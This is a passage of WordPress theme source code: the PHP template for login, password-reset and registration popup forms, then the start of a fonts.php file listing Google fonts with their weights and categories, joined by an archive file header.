                            <div class="pclogin-input pclogin-input-checkbox">
                                <p><input name="rememberme" type="checkbox" id="remembermepopup"
                                          value="forever"> <?php echo penci_get_setting( 'penci_plogin_label_remember' ); ?>
                                </p>
                            </div>
                            <div class="pclogin-input">
                                <input type="submit" name="penci_submit" class="pcpop-button"
                                       value="<?php echo penci_get_setting( 'penci_plogin_label_log_in' ); ?>">
                            </div>
                        </form>
                    </div>
                    <div class="penci-popup-desc register register-popup">
                        <p><a aria-label="Lost Password" class="penci-lostpassword-btn"
                              href="#"><?php echo( penci_get_setting( 'penci_plogin_label_lostpassword' ) ); ?></a></p>
						<?php if ( get_option( 'users_can_register' ) ) : ?>
                            <p><?php echo( penci_get_setting( 'penci_plogin_text_has_account' ) ); ?> <a
                                        class="penci-register-popup-btn"
                                        href="<?php echo wp_registration_url(); ?>"><?php echo( penci_get_setting( 'penci_plogin_label_registration' ) ); ?></a>
                            </p>
						<?php endif; ?>
                    </div>
                </div>
            </div>
            <div id="penci-popup-passreset" class="penci-login-register penci-popup-passreset penci-hidden">
                <div class="penci-login-container">
                    <div class="penci-lgpop-title"><?php echo penci_get_setting( 'penci_trans_recover_pass' ); ?></div>
                    <div class="penci-login">
                        <form id="penci-passreset-popup" class="penci-passreset-popup"
                              action="<?php echo esc_url( site_url( 'wp-login.php?action=lostpassword' ) ); ?>"
                              method="post" novalidate="novalidate">
                            <input type="hidden" class="penci_form_nonce" name="_wpnonce"
                                   value="<?php echo wp_create_nonce( 'resetpassword' ); ?>">
                            <div class="passreset-input">
                                <input class="penci_user_email" name="penci_user_email" type="text"
                                       placeholder="<?php echo penci_get_setting( 'penci_plogin_email_place' ); ?>"/>
                            </div>
							<?php do_action( 'lostpassword_form' ); ?>
							<?php penci_add_captcha_getpass_form(); ?>
                            <div class="passreset-input">
                                <input type="submit" name="penci_submit" class="pcpop-button"
                                       value="<?php echo penci_get_setting( 'penci_preset_submit' ); ?>"/>
                            </div>
                            <div class="penci-popup-desc pass-revocer-popup">
                                <p><?php echo( penci_get_setting( 'penci_preset_desc' ) ); ?></p>
                                <p><?php echo( penci_get_setting( 'penci_preset_received' ) ); ?> <a
                                            class="penci-login-popup-btn"
                                            href="#login"><?php echo penci_get_setting( 'penci_pregister_label_registration' ); ?></a>
                                </p>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
			<?php if ( get_option( 'users_can_register' ) ) :
				$res_class = get_theme_mod( 'penci_tblogin_show_checkbox' ) ? 'register-input-checkbox' : '';
				?>
                <div id="penci-popup-register"
                     class="<?php echo $res_class; ?> penci-login-register penci-popup-register penci-hidden">
                    <div class="penci-login-container">
                        <div class="penci-lgpop-title"><?php echo penci_get_setting( 'penci_trans_register_new_account' ); ?></div>
                        <div class="penci-login">
                            <form name="form" id="penci-register-popup"
                                  action="<?php echo esc_url( site_url( 'wp-login.php?action=register' ) ); ?>"
                                  method="post" novalidate="novalidate">
                                <input type="hidden" name="_wpnonce" class="penci_form_nonce"
                                       value="<?php echo wp_create_nonce( 'register' ); ?>">
								<?php if ( ! get_theme_mod( 'penci_tblogin_hide_name' ) ) : ?>
                                    <div class="pclg-2col">
                                        <div class="register-input">
                                            <input class="penci_first_name" name="penci_first_name" type="text"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_first_name' ); ?>"/>
                                        </div>
                                        <div class="register-input">
                                            <input class="penci_last_name" name="penci_last_name" type="text"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_last_name' ); ?>"/>
                                        </div>
                                    </div>
								<?php endif; ?>
                                <div class="register-input">
                                    <input class="penci_user_name" name="penci_user_name" type="text"
                                           placeholder="<?php echo penci_get_setting( 'penci_pregister_user_name' ); ?>"/>
                                </div>
                                <div class="register-input">
                                    <input class="penci_user_email" name="penci_user_email" type="email"
                                           placeholder="<?php echo penci_get_setting( 'penci_pregister_user_email' ); ?>"/>
                                </div>
								<?php if ( get_theme_mod( 'penci_tblogin_show_phone' ) ) : ?>
                                    <div class="register-input">
                                        <input class="penci_user_phone" name="penci_user_phone" type="tel"
                                               placeholder="<?php echo penci_get_setting( 'penci_pregister_user_phone' ); ?>"/>
                                    </div>
								<?php endif; ?>
                                <div class="register-input">
                                    <input autocomplete="off" class="penci_user_pass" name="penci_user_pass"
                                           type="password"
                                           placeholder="<?php echo penci_get_setting( 'penci_pregister_user_pass' ); ?>"/>
                                </div>
                                <div class="register-input">
                                    <input autocomplete="off" class="penci_user_pass_confirm"
                                           name="penci_user_pass_confirm" type="password"
                                           placeholder="<?php echo penci_get_setting( 'penci_pregister_pass_confirm' ); ?>"/>
                                </div>
								<?php if ( $res_class ) : ?>
                                    <div class="register-input register-input-checkbox">
                                        <p>
                                            <input name="penci_agreebox" type="checkbox" id="penci_agreebox">
											<?php echo penci_get_setting( 'penci_pregister_agree' ); ?>
                                        </p>
                                    </div>
								<?php endif; ?>
								<?php do_action( 'register_form' ); ?>
                                <div class="register-input">
                                    <input type="submit" name="penci_submit" class="pcpop-button"
                                           value="<?php echo penci_get_setting( 'penci_pregister_button_submit' ); ?>"/>
                                </div>
                                <div class="penci-popup-desc register-input login login-popup">
                                    <p><?php echo penci_get_setting( 'penci_pregister_has_account' ); ?> <a
                                                class="penci-login-popup-btn"
                                                href="#login"><?php echo penci_get_setting( 'penci_pregister_label_registration' ); ?></a>
                                    </p>
                                </div>
                            </form>
                        </div>
                    </div>
                </div>
			<?php endif; ?>
            <div class="penci-loader-effect penci-loading-animation"><span class="penci-ld"> <span
                            class="penci-ld1 penci-ldin"></span> <span class="penci-ld2 penci-ldin"></span> <span
                            class="penci-ld3 penci-ldin"></span> <span class="penci-ld4 penci-ldin"></span> <span
                            class="penci-ld5 penci-ldin"></span> <span class="penci-ld6 penci-ldin"></span> <span
                            class="penci-ld7 penci-ldin"></span> <span class="penci-ld8 penci-ldin"></span> <span
                            class="penci-ld9 penci-ldin"></span> <span class="penci-ld10 penci-ldin"></span> <span
                            class="penci-ld11 penci-ldin"></span> <span class="penci-ld12 penci-ldin"></span> </span>
            </div>
        </div>
	<?php endif;
}PK     0w\88> >   fonts/fonts.phpnu [        <?php
/**
 * Google fonts array
 * Define google font array
 */
if ( ! function_exists( 'penci_list_google_fonts_array' ) ) {
	function penci_list_google_fonts_array() {

		$penci_soledad_google_fonts = [
			'"ABeeZee", "regular:italic", sans-serif'                                                                                                                                    => 'ABeeZee',
			'"ADLaM Display", "regular", display'                                                                                                                                        => 'ADLaM Display',
			'"AR One Sans", "regular:500:600:700", sans-serif'                                                                                                                           => 'AR One Sans',
			'"Abel", "regular", sans-serif'                                                                                                                                              => 'Abel',
			'"Abhaya Libre", "regular:500:600:700:800", serif'                                                                                                                           => 'Abhaya Libre',
			'"Aboreto", "regular", display'                                                                                                                                              => 'Aboreto',
			'"Abril Fatface", "regular", display'                                                                                                                                        => 'Abril Fatface',
			'"Abyssinica SIL", "regular", serif'                                                                                                                                         => 'Abyssinica SIL',
			'"Aclonica", "regular", sans-serif'                                                                                                                                          => 'Aclonica',
			'"Acme", "regular", sans-serif'                                                                                                                                              => 'Acme',
			'"Actor", "regular", sans-serif'                                                                                                                                             => 'Actor',
			'"Adamina", "regular", serif'                                                                                                                                                => 'Adamina',
			'"Advent Pro", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                 => 'Advent Pro',
			'"Afacad", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                           => 'Afacad',
			'"Agbalumo", "regular", display'                                                                                                                                             => 'Agbalumo',
			'"Agdasima", "regular:700", sans-serif'                                                                                                                                      => 'Agdasima',
			'"Aguafina Script", "regular", handwriting'                                                                                                                                  => 'Aguafina Script',
			'"Akatab", "regular:500:600:700:800:900", sans-serif'                                                                                                                        => 'Akatab',
			'"Akaya Kanadaka", "regular", display'                                                                                                                                       => 'Akaya Kanadaka',
			'"Akaya Telivigala", "regular", display'                                                                                                                                     => 'Akaya Telivigala',
			'"Akronim", "regular", display'                                                                                                                                              => 'Akronim',
			'"Akshar", "300:regular:500:600:700", sans-serif'                                                                                                                            => 'Akshar',
			'"Aladin", "regular", display'                                                                                                                                               => 'Aladin',
			'"Alata", "regular", sans-serif'                                                                                                                                             => 'Alata',
			'"Alatsi", "regular", sans-serif'                                                                                                                                            => 'Alatsi',
			'"Albert Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                => 'Albert Sans',
			'"Aldrich", "regular", sans-serif'                                                                                                                                           => 'Aldrich',
			'"Alef", "regular:700", sans-serif'                                                                                                                                          => 'Alef',
			'"Alegreya", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                                  => 'Alegreya',
			'"Alegreya SC", "regular:italic:500:500italic:700:700italic:800:800italic:900:900italic", serif'                                                                             => 'Alegreya SC',
			'"Alegreya Sans", "100:100italic:300:300italic:regular:italic:500:500italic:700:700italic:800:800italic:900:900italic", sans-serif'                                          => 'Alegreya Sans',
			'"Alegreya Sans SC", "100:100italic:300:300italic:regular:italic:500:500italic:700:700italic:800:800italic:900:900italic", sans-serif'                                       => 'Alegreya Sans SC',
			'"Aleo", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                            => 'Aleo',
			'"Alex Brush", "regular", handwriting'                                                                                                                                       => 'Alex Brush',
			'"Alexandria", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                        => 'Alexandria',
			'"Alfa Slab One", "regular", display'                                                                                                                                        => 'Alfa Slab One',
			'"Alice", "regular", serif'                                                                                                                                                  => 'Alice',
			'"Alike", "regular", serif'                                                                                                                                                  => 'Alike',
			'"Alike Angular", "regular", serif'                                                                                                                                          => 'Alike Angular',
			'"Alkalami", "regular", serif'                                                                                                                                               => 'Alkalami',
			'"Alkatra", "regular:500:600:700", display'                                                                                                                                  => 'Alkatra',
			'"Allan", "regular:700", display'                                                                                                                                            => 'Allan',
			'"Allerta", "regular", sans-serif'                                                                                                                                           => 'Allerta',
			'"Allerta Stencil", "regular", sans-serif'                                                                                                                                   => 'Allerta Stencil',
			'"Allison", "regular", handwriting'                                                                                                                                          => 'Allison',
			'"Allura", "regular", handwriting'                                                                                                                                           => 'Allura',
			'"Almarai", "300:regular:700:800", sans-serif'                                                                                                                               => 'Almarai',
			'"Almendra", "regular:italic:700:700italic", serif'                                                                                                                          => 'Almendra',
			'"Almendra Display", "regular", display'                                                                                                                                     => 'Almendra Display',
			'"Almendra SC", "regular", serif'                                                                                                                                            => 'Almendra SC',
			'"Alumni Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                => 'Alumni Sans',
			'"Alumni Sans Collegiate One", "regular:italic", sans-serif'                                                                                                                 => 'Alumni Sans Collegiate One',
			'"Alumni Sans Inline One", "regular:italic", display'                                                                                                                        => 'Alumni Sans Inline One',
			'"Alumni Sans Pinstripe", "regular:italic", sans-serif'                                                                                                                      => 'Alumni Sans Pinstripe',
			'"Amarante", "regular", display'                                                                                                                                             => 'Amarante',
			'"Amaranth", "regular:italic:700:700italic", sans-serif'                                                                                                                     => 'Amaranth',
			'"Amatic SC", "regular:700", handwriting'                                                                                                                                    => 'Amatic SC',
			'"Amethysta", "regular", serif'                                                                                                                                              => 'Amethysta',
			'"Amiko", "regular:600:700", sans-serif'                                                                                                                                     => 'Amiko',
			'"Amiri", "regular:italic:700:700italic", serif'                                                                                                                             => 'Amiri',
			'"Amiri Quran", "regular", serif'                                                                                                                                            => 'Amiri Quran',
			'"Amita", "regular:700", handwriting'                                                                                                                                        => 'Amita',
			'"Anaheim", "regular:500:600:700:800", sans-serif'                                                                                                                           => 'Anaheim',
			'"Andada Pro", "regular:500:600:700:800:italic:500italic:600italic:700italic:800italic", serif'                                                                              => 'Andada Pro',
			'"Andika", "regular:italic:700:700italic", sans-serif'                                                                                                                       => 'Andika',
			'"Anek Bangla", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                           => 'Anek Bangla',
			'"Anek Devanagari", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                       => 'Anek Devanagari',
			'"Anek Gujarati", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                         => 'Anek Gujarati',
			'"Anek Gurmukhi", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                         => 'Anek Gurmukhi',
			'"Anek Kannada", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                          => 'Anek Kannada',
			'"Anek Latin", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                            => 'Anek Latin',
			'"Anek Malayalam", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                        => 'Anek Malayalam',
			'"Anek Odia", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                             => 'Anek Odia',
			'"Anek Tamil", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                            => 'Anek Tamil',
			'"Anek Telugu", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                           => 'Anek Telugu',
			'"Angkor", "regular", display'                                                                                                                                               => 'Angkor',
			'"Annapurna SIL", "regular:700", serif'                                                                                                                                      => 'Annapurna SIL',
			'"Annie Use Your Telescope", "regular", handwriting'                                                                                                                         => 'Annie Use Your Telescope',
			'"Anonymous Pro", "regular:italic:700:700italic", monospace'                                                                                                                 => 'Anonymous Pro',
			'"Anta", "regular", sans-serif'                                                                                                                                              => 'Anta',
			'"Antic", "regular", sans-serif'                                                                                                                                             => 'Antic',
			'"Antic Didone", "regular", serif'                                                                                                                                           => 'Antic Didone',
			'"Antic Slab", "regular", serif'                                                                                                                                             => 'Antic Slab',
			'"Anton", "regular", sans-serif'                                                                                                                                             => 'Anton',
			'"Anton SC", "regular", sans-serif'                                                                                                                                          => 'Anton SC',
			'"Antonio", "100:200:300:regular:500:600:700", sans-serif'                                                                                                                   => 'Antonio',
			'"Anuphan", "100:200:300:regular:500:600:700", sans-serif'                                                                                                                   => 'Anuphan',
			'"Anybody", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", display'                       => 'Anybody',
			'"Aoboshi One", "regular", serif'                                                                                                                                            => 'Aoboshi One',
			'"Arapey", "regular:italic", serif'                                                                                                                                          => 'Arapey',
			'"Arbutus", "regular", serif'                                                                                                                                                => 'Arbutus',
			'"Arbutus Slab", "regular", serif'                                                                                                                                           => 'Arbutus Slab',
			'"Architects Daughter", "regular", handwriting'                                                                                                                              => 'Architects Daughter',
			'"Archivo", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                    => 'Archivo',
			'"Archivo Black", "regular", sans-serif'                                                                                                                                     => 'Archivo Black',
			'"Archivo Narrow", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                   => 'Archivo Narrow',
			'"Are You Serious", "regular", handwriting'                                                                                                                                  => 'Are You Serious',
			'"Aref Ruqaa", "regular:700", serif'                                                                                                                                         => 'Aref Ruqaa',
			'"Aref Ruqaa Ink", "regular:700", serif'                                                                                                                                     => 'Aref Ruqaa Ink',
			'"Arima", "100:200:300:regular:500:600:700", display'                                                                                                                        => 'Arima',
			'"Arimo", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                            => 'Arimo',
			'"Arizonia", "regular", handwriting'                                                                                                                                         => 'Arizonia',
			'"Armata", "regular", sans-serif'                                                                                                                                            => 'Armata',
			'"Arsenal", "regular:italic:700:700italic", sans-serif'                                                                                                                      => 'Arsenal',
			'"Arsenal SC", "regular:italic:700:700italic", sans-serif'                                                                                                                   => 'Arsenal SC',
			'"Artifika", "regular", serif'                                                                                                                                               => 'Artifika',
			'"Arvo", "regular:italic:700:700italic", serif'                                                                                                                              => 'Arvo',
			'"Arya", "regular:700", sans-serif'                                                                                                                                          => 'Arya',
			'"Asap", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                       => 'Asap',
			'"Asap Condensed", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                           => 'Asap Condensed',
			'"Asar", "regular", serif'                                                                                                                                                   => 'Asar',
			'"Asset", "regular", display'                                                                                                                                                => 'Asset',
			'"Assistant", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                 => 'Assistant',
			'"Astloch", "regular:700", display'                                                                                                                                          => 'Astloch',
			'"Asul", "regular:700", sans-serif'                                                                                                                                          => 'Asul',
			'"Athiti", "200:300:regular:500:600:700", sans-serif'                                                                                                                        => 'Athiti',
			'"Atkinson Hyperlegible", "regular:italic:700:700italic", sans-serif'                                                                                                        => 'Atkinson Hyperlegible',
			'"Atma", "300:regular:500:600:700", display'                                                                                                                                 => 'Atma',
			'"Atomic Age", "regular", display'                                                                                                                                           => 'Atomic Age',
			'"Aubrey", "regular", display'                                                                                                                                               => 'Aubrey',
			'"Audiowide", "regular", display'                                                                                                                                            => 'Audiowide',
			'"Autour One", "regular", display'                                                                                                                                           => 'Autour One',
			'"Average", "regular", serif'                                                                                                                                                => 'Average',
			'"Average Sans", "regular", sans-serif'                                                                                                                                      => 'Average Sans',
			'"Averia Gruesa Libre", "regular", display'                                                                                                                                  => 'Averia Gruesa Libre',
			'"Averia Libre", "300:300italic:regular:italic:700:700italic", display'                                                                                                      => 'Averia Libre',
			'"Averia Sans Libre", "300:300italic:regular:italic:700:700italic", display'                                                                                                 => 'Averia Sans Libre',
			'"Averia Serif Libre", "300:300italic:regular:italic:700:700italic", display'                                                                                                => 'Averia Serif Libre',
			'"Azeret Mono", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", monospace'                 => 'Azeret Mono',
			'"B612", "regular:italic:700:700italic", sans-serif'                                                                                                                         => 'B612',
			'"B612 Mono", "regular:italic:700:700italic", monospace'                                                                                                                     => 'B612 Mono',
			'"BIZ UDGothic", "regular:700", sans-serif'                                                                                                                                  => 'BIZ UDGothic',
			'"BIZ UDMincho", "regular:700", serif'                                                                                                                                       => 'BIZ UDMincho',
			'"BIZ UDPGothic", "regular:700", sans-serif'                                                                                                                                 => 'BIZ UDPGothic',
			'"BIZ UDPMincho", "regular:700", serif'                                                                                                                                      => 'BIZ UDPMincho',
			'"Babylonica", "regular", handwriting'                                                                                                                                       => 'Babylonica',
			'"Bacasime Antique", "regular", serif'                                                                                                                                       => 'Bacasime Antique',
			'"Bad Script", "regular", handwriting'                                                                                                                                       => 'Bad Script',
			'"Bagel Fat One", "regular", display'                                                                                                                                        => 'Bagel Fat One',
			'"Bahiana", "regular", display'                                                                                                                                              => 'Bahiana',
			'"Bahianita", "regular", display'                                                                                                                                            => 'Bahianita',
			'"Bai Jamjuree", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                         => 'Bai Jamjuree',
			'"Bakbak One", "regular", display'                                                                                                                                           => 'Bakbak One',
			'"Ballet", "regular", handwriting'                                                                                                                                           => 'Ballet',
			'"Baloo 2", "regular:500:600:700:800", display'                                                                                                                              => 'Baloo 2',
			'"Baloo Bhai 2", "regular:500:600:700:800", display'                                                                                                                         => 'Baloo Bhai 2',
			'"Baloo Bhaijaan 2", "regular:500:600:700:800", display'                                                                                                                     => 'Baloo Bhaijaan 2',
			'"Baloo Bhaina 2", "regular:500:600:700:800", display'                                                                                                                       => 'Baloo Bhaina 2',
			'"Baloo Chettan 2", "regular:500:600:700:800", display'                                                                                                                      => 'Baloo Chettan 2',
			'"Baloo Da 2", "regular:500:600:700:800", display'                                                                                                                           => 'Baloo Da 2',
			'"Baloo Paaji 2", "regular:500:600:700:800", display'                                                                                                                        => 'Baloo Paaji 2',
			'"Baloo Tamma 2", "regular:500:600:700:800", display'                                                                                                                        => 'Baloo Tamma 2',
			'"Baloo Tammudu 2", "regular:500:600:700:800", display'                                                                                                                      => 'Baloo Tammudu 2',
			'"Baloo Thambi 2", "regular:500:600:700:800", display'                                                                                                                       => 'Baloo Thambi 2',
			'"Balsamiq Sans", "regular:italic:700:700italic", display'                                                                                                                   => 'Balsamiq Sans',
			'"Balthazar", "regular", serif'                                                                                                                                              => 'Balthazar',
			'"Bangers", "regular", display'                                                                                                                                              => 'Bangers',
			'"Barlow", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                     => 'Barlow',
			'"Barlow Condensed", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'           => 'Barlow Condensed',
			'"Barlow Semi Condensed", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'      => 'Barlow Semi Condensed',
			'"Barriecito", "regular", display'                                                                                                                                           => 'Barriecito',
			'"Barrio", "regular", display'                                                                                                                                               => 'Barrio',
			'"Basic", "regular", sans-serif'                                                                                                                                             => 'Basic',
			'"Baskervville", "regular:italic", serif'                                                                                                                                    => 'Baskervville',
			'"Baskervville SC", "regular", serif'                                                                                                                                        => 'Baskervville SC',
			'"Battambang", "100:300:regular:700:900", display'                                                                                                                           => 'Battambang',
			'"Baumans", "regular", display'                                                                                                                                              => 'Baumans',
			'"Bayon", "regular", sans-serif'                                                                                                                                             => 'Bayon',
			'"Be Vietnam Pro", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'             => 'Be Vietnam Pro',
			'"Beau Rivage", "regular", handwriting'                                                                                                                                      => 'Beau Rivage',
			'"Bebas Neue", "regular", sans-serif'                                                                                                                                        => 'Bebas Neue',
			'"Beiruti", "200:300:regular:500:600:700:800:900", sans-serif'                                                                                                               => 'Beiruti',
			'"Belanosima", "regular:600:700", sans-serif'                                                                                                                                => 'Belanosima',
			'"Belgrano", "regular", serif'                                                                                                                                               => 'Belgrano',
			'"Bellefair", "regular", serif'                                                                                                                                              => 'Bellefair',
			'"Belleza", "regular", sans-serif'                                                                                                                                           => 'Belleza',
			'"Bellota", "300:300italic:regular:italic:700:700italic", display'                                                                                                           => 'Bellota',
			'"Bellota Text", "300:300italic:regular:italic:700:700italic", display'                                                                                                      => 'Bellota Text',
			'"BenchNine", "300:regular:700", sans-serif'                                                                                                                                 => 'BenchNine',
			'"Benne", "regular", serif'                                                                                                                                                  => 'Benne',
			'"Bentham", "regular", serif'                                                                                                                                                => 'Bentham',
			'"Berkshire Swash", "regular", handwriting'                                                                                                                                  => 'Berkshire Swash',
			'"Besley", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                                    => 'Besley',
			'"Beth Ellen", "regular", handwriting'                                                                                                                                       => 'Beth Ellen',
			'"Bevan", "regular:italic", serif'                                                                                                                                           => 'Bevan',
			'"BhuTuka Expanded One", "regular", serif'                                                                                                                                   => 'BhuTuka Expanded One',
			'"Big Shoulders Display", "100:200:300:regular:500:600:700:800:900", display'                                                                                                => 'Big Shoulders Display',
			'"Big Shoulders Inline Display", "100:200:300:regular:500:600:700:800:900", display'                                                                                         => 'Big Shoulders Inline Display',
			'"Big Shoulders Inline Text", "100:200:300:regular:500:600:700:800:900", display'                                                                                            => 'Big Shoulders Inline Text',
			'"Big Shoulders Stencil Display", "100:200:300:regular:500:600:700:800:900", display'                                                                                        => 'Big Shoulders Stencil Display',
			'"Big Shoulders Stencil Text", "100:200:300:regular:500:600:700:800:900", display'                                                                                           => 'Big Shoulders Stencil Text',
			'"Big Shoulders Text", "100:200:300:regular:500:600:700:800:900", display'                                                                                                   => 'Big Shoulders Text',
			'"Bigelow Rules", "regular", display'                                                                                                                                        => 'Bigelow Rules',
			'"Bigshot One", "regular", display'                                                                                                                                          => 'Bigshot One',
			'"Bilbo", "regular", handwriting'                                                                                                                                            => 'Bilbo',
			'"Bilbo Swash Caps", "regular", handwriting'                                                                                                                                 => 'Bilbo Swash Caps',
			'"BioRhyme", "200:300:regular:500:600:700:800", serif'                                                                                                                       => 'BioRhyme',
			'"BioRhyme Expanded", "200:300:regular:700:800", serif'                                                                                                                      => 'BioRhyme Expanded',
			'"Birthstone", "regular", handwriting'                                                                                                                                       => 'Birthstone',
			'"Birthstone Bounce", "regular:500", handwriting'                                                                                                                            => 'Birthstone Bounce',
			'"Biryani", "200:300:regular:600:700:800:900", sans-serif'                                                                                                                   => 'Biryani',
			'"Bitter", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                          => 'Bitter',
			'"Black And White Picture", "regular", display'                                                                                                                              => 'Black And White Picture',
			'"Black Han Sans", "regular", sans-serif'                                                                                                                                    => 'Black Han Sans',
			'"Black Ops One", "regular", display'                                                                                                                                        => 'Black Ops One',
			'"Blaka", "regular", display'                                                                                                                                                => 'Blaka',
			'"Blaka Hollow", "regular", display'                                                                                                                                         => 'Blaka Hollow',
			'"Blaka Ink", "regular", display'                                                                                                                                            => 'Blaka Ink',
			'"Blinker", "100:200:300:regular:600:700:800:900", sans-serif'                                                                                                               => 'Blinker',
			'"Bodoni Moda", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                               => 'Bodoni Moda',
			'"Bodoni Moda SC", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                            => 'Bodoni Moda SC',
			'"Bokor", "regular", display'                                                                                                                                                => 'Bokor',
			'"Bona Nova", "regular:italic:700", serif'                                                                                                                                   => 'Bona Nova',
			'"Bona Nova SC", "regular:italic:700", serif'                                                                                                                                => 'Bona Nova SC',
			'"Bonbon", "regular", handwriting'                                                                                                                                           => 'Bonbon',
			'"Bonheur Royale", "regular", handwriting'                                                                                                                                   => 'Bonheur Royale',
			'"Boogaloo", "regular", display'                                                                                                                                             => 'Boogaloo',
			'"Borel", "regular", handwriting'                                                                                                                                            => 'Borel',
			'"Bowlby One", "regular", display'                                                                                                                                           => 'Bowlby One',
			'"Bowlby One SC", "regular", display'                                                                                                                                        => 'Bowlby One SC',
			'"Braah One", "regular", sans-serif'                                                                                                                                         => 'Braah One',
			'"Brawler", "regular:700", serif'                                                                                                                                            => 'Brawler',
			'"Bree Serif", "regular", serif'                                                                                                                                             => 'Bree Serif',
			'"Bricolage Grotesque", "200:300:regular:500:600:700:800", sans-serif'                                                                                                       => 'Bricolage Grotesque',
			'"Bruno Ace", "regular", display'                                                                                                                                            => 'Bruno Ace',
			'"Bruno Ace SC", "regular", display'                                                                                                                                         => 'Bruno Ace SC',
			'"Brygada 1918", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                          => 'Brygada 1918',
			'"Bubblegum Sans", "regular", display'                                                                                                                                       => 'Bubblegum Sans',
			'"Bubbler One", "regular", sans-serif'                                                                                                                                       => 'Bubbler One',
			'"Buda", "300", display'                                                                                                                                                     => 'Buda',
			'"Buenard", "regular:700", serif'                                                                                                                                            => 'Buenard',
			'"Bungee", "regular", display'                                                                                                                                               => 'Bungee',
			'"Bungee Hairline", "regular", display'                                                                                                                                      => 'Bungee Hairline',
			'"Bungee Inline", "regular", display'                                                                                                                                        => 'Bungee Inline',
			'"Bungee Outline", "regular", display'                                                                                                                                       => 'Bungee Outline',
			'"Bungee Shade", "regular", display'                                                                                                                                         => 'Bungee Shade',
			'"Bungee Spice", "regular", display'                                                                                                                                         => 'Bungee Spice',
			'"Butcherman", "regular", display'                                                                                                                                           => 'Butcherman',
			'"Butterfly Kids", "regular", handwriting'                                                                                                                                   => 'Butterfly Kids',
			'"Cabin", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                            => 'Cabin',
			'"Cabin Condensed", "regular:500:600:700", sans-serif'                                                                                                                       => 'Cabin Condensed',
			'"Cabin Sketch", "regular:700", display'                                                                                                                                     => 'Cabin Sketch',
			'"Cactus Classical Serif", "regular", serif'                                                                                                                                 => 'Cactus Classical Serif',
			'"Caesar Dressing", "regular", display'                                                                                                                                      => 'Caesar Dressing',
			'"Cagliostro", "regular", sans-serif'                                                                                                                                        => 'Cagliostro',
			'"Cairo", "200:300:regular:500:600:700:800:900", sans-serif'                                                                                                                 => 'Cairo',
			'"Cairo Play", "200:300:regular:500:600:700:800:900", sans-serif'                                                                                                            => 'Cairo Play',
			'"Caladea", "regular:italic:700:700italic", serif'                                                                                                                           => 'Caladea',
			'"Calistoga", "regular", display'                                                                                                                                            => 'Calistoga',
			'"Calligraffitti", "regular", handwriting'                                                                                                                                   => 'Calligraffitti',
			'"Cambay", "regular:italic:700:700italic", sans-serif'                                                                                                                       => 'Cambay',
			'"Cambo", "regular", serif'                                                                                                                                                  => 'Cambo',
			'"Candal", "regular", sans-serif'                                                                                                                                            => 'Candal',
			'"Cantarell", "regular:italic:700:700italic", sans-serif'                                                                                                                    => 'Cantarell',
			'"Cantata One", "regular", serif'                                                                                                                                            => 'Cantata One',
			'"Cantora One", "regular", sans-serif'                                                                                                                                       => 'Cantora One',
			'"Caprasimo", "regular", display'                                                                                                                                            => 'Caprasimo',
			'"Capriola", "regular", sans-serif'                                                                                                                                          => 'Capriola',
			'"Caramel", "regular", handwriting'                                                                                                                                          => 'Caramel',
			'"Carattere", "regular", handwriting'                                                                                                                                        => 'Carattere',
			'"Cardo", "regular:italic:700", serif'                                                                                                                                       => 'Cardo',
			'"Carlito", "regular:italic:700:700italic", sans-serif'                                                                                                                      => 'Carlito',
			'"Carme", "regular", sans-serif'                                                                                                                                             => 'Carme',
			'"Carrois Gothic", "regular", sans-serif'                                                                                                                                    => 'Carrois Gothic',
